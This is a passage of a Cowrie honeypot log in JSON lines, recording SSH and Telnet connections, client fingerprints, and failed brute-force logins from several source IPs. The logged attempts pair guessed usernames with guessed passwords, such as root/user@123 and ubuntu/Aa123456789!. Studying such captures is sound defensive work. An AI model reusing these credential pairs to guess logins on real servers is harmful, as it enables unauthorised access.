{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:44:05.114625Z","src_ip":"209.99.189.177","session":"99c3ea607254","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:44:05.248430Z","src_ip":"209.99.189.177","session":"99c3ea607254","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oracle2","password":"oracle","message":"login attempt [oracle2/oracle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:44:05.791867Z","src_ip":"209.99.189.177","session":"99c3ea607254","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:44:06.923698Z","src_ip":"209.99.189.177","session":"99c3ea607254","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0064685344696,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:44:12.210455Z","src_ip":"37.52.61.49","session":"6673e336d906","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.52.61.49","src_port":52632,"dst_ip":"159.203.135.109","dst_port":23,"session":"0458d1295f17","protocol":"telnet","message":"New connection: 37.52.61.49:52632 (159.203.135.109:23) [session: 0458d1295f17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:44:12.562036Z"}
{"eventid":"cowrie.session.closed","duration":120.00162744522095,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:44:14.105515Z","src_ip":"37.52.61.49","session":"a1f651a1d4d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.52.61.49","src_port":52802,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad99ade31808","protocol":"telnet","message":"New connection: 37.52.61.49:52802 (159.203.135.109:23) [session: ad99ade31808]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:44:14.412569Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":49742,"dst_ip":"10.17.0.5","dst_port":22,"session":"e34a16002760","protocol":"ssh","message":"New connection: 103.146.202.174:49742 (10.17.0.5:22) [session: e34a16002760]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:44:28.004446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:44:28.009056Z","src_ip":"103.146.202.174","session":"e34a16002760","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:44:28.262734Z","src_ip":"103.146.202.174","session":"e34a16002760","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"terrariaserver","password":"terrariaserver","message":"login attempt [terrariaserver/terrariaserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:44:29.319748Z","src_ip":"103.146.202.174","session":"e34a16002760","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:44:30.576607Z","src_ip":"103.146.202.174","session":"e34a16002760","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.106.188.32","src_port":38594,"dst_ip":"10.17.0.5","dst_port":22,"session":"83a08853a68e","protocol":"ssh","message":"New connection: 103.106.188.32:38594 (10.17.0.5:22) [session: 83a08853a68e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:44:56.012361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:44:56.017154Z","src_ip":"103.106.188.32","session":"83a08853a68e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:44:56.324908Z","src_ip":"103.106.188.32","session":"83a08853a68e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"qwerty","message":"login attempt [deploy/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:44:57.524839Z","src_ip":"103.106.188.32","session":"83a08853a68e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:44:58.757235Z","src_ip":"103.106.188.32","session":"83a08853a68e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":38250,"dst_ip":"10.17.0.5","dst_port":22,"session":"de3c48a8fbf1","protocol":"ssh","message":"New connection: 103.146.202.174:38250 (10.17.0.5:22) [session: de3c48a8fbf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:45:27.243989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:45:27.249019Z","src_ip":"103.146.202.174","session":"de3c48a8fbf1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:45:27.498414Z","src_ip":"103.146.202.174","session":"de3c48a8fbf1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"user@123","message":"login attempt [root/user@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:45:28.527863Z","src_ip":"103.146.202.174","session":"de3c48a8fbf1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:45:29.778534Z","src_ip":"103.146.202.174","session":"de3c48a8fbf1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":33070,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b45dca3f2ea","protocol":"ssh","message":"New connection: 103.248.120.6:33070 (10.17.0.5:22) [session: 0b45dca3f2ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:45:39.270564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:45:39.276124Z","src_ip":"103.248.120.6","session":"0b45dca3f2ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:45:39.497458Z","src_ip":"103.248.120.6","session":"0b45dca3f2ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456789!","message":"login attempt [ubuntu/Aa123456789!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:45:40.415752Z","src_ip":"103.248.120.6","session":"0b45dca3f2ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:45:41.642394Z","src_ip":"103.248.120.6","session":"0b45dca3f2ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"301.2","message":"Connection lost after 301.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:45:47.486545Z","src_ip":"143.64.168.136","session":"06ef75130547","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.106.188.32","src_port":55128,"dst_ip":"10.17.0.5","dst_port":22,"session":"f57eca826c35","protocol":"ssh","message":"New connection: 103.106.188.32:55128 (10.17.0.5:22) [session: f57eca826c35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:45:53.708926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:45:53.713772Z","src_ip":"103.106.188.32","session":"f57eca826c35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:45:53.937609Z","src_ip":"103.106.188.32","session":"f57eca826c35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"server11","message":"login attempt [server/server11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:45:55.024964Z","src_ip":"103.106.188.32","session":"f57eca826c35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:45:56.231889Z","src_ip":"103.106.188.32","session":"f57eca826c35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.177","src_port":34262,"dst_ip":"10.17.0.5","dst_port":22,"session":"89ce3d9e5d23","protocol":"ssh","message":"New connection: 209.99.189.177:34262 (10.17.0.5:22) [session: 89ce3d9e5d23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:45:58.459442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:45:58.464096Z","src_ip":"209.99.189.177","session":"89ce3d9e5d23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:45:58.595299Z","src_ip":"209.99.189.177","session":"89ce3d9e5d23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"a123456789","message":"login attempt [ubuntu/a123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:45:59.136592Z","src_ip":"209.99.189.177","session":"89ce3d9e5d23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:46:00.267727Z","src_ip":"209.99.189.177","session":"89ce3d9e5d23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":49328,"dst_ip":"10.17.0.5","dst_port":23,"session":"d88284b39c06","protocol":"telnet","message":"New connection: 20.123.41.163:49328 (10.17.0.5:23) [session: d88284b39c06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:46:06.577158Z"}
{"eventid":"cowrie.session.closed","duration":120.00744128227234,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:46:12.569374Z","src_ip":"37.52.61.49","session":"0458d1295f17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.52.61.49","src_port":33456,"dst_ip":"159.203.135.109","dst_port":23,"session":"2eef2ad74d12","protocol":"telnet","message":"New connection: 37.52.61.49:33456 (159.203.135.109:23) [session: 2eef2ad74d12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:46:12.916219Z"}
{"eventid":"cowrie.session.closed","duration":120.00244355201721,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:46:14.414903Z","src_ip":"37.52.61.49","session":"ad99ade31808","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.52.61.49","src_port":33572,"dst_ip":"159.203.135.109","dst_port":23,"session":"c03f6e6ed03a","protocol":"telnet","message":"New connection: 37.52.61.49:33572 (159.203.135.109:23) [session: c03f6e6ed03a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:46:14.735983Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":54992,"dst_ip":"10.17.0.5","dst_port":22,"session":"37d843bc14b7","protocol":"ssh","message":"New connection: 103.146.202.174:54992 (10.17.0.5:22) [session: 37d843bc14b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:46:22.701711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:46:22.706220Z","src_ip":"103.146.202.174","session":"37d843bc14b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],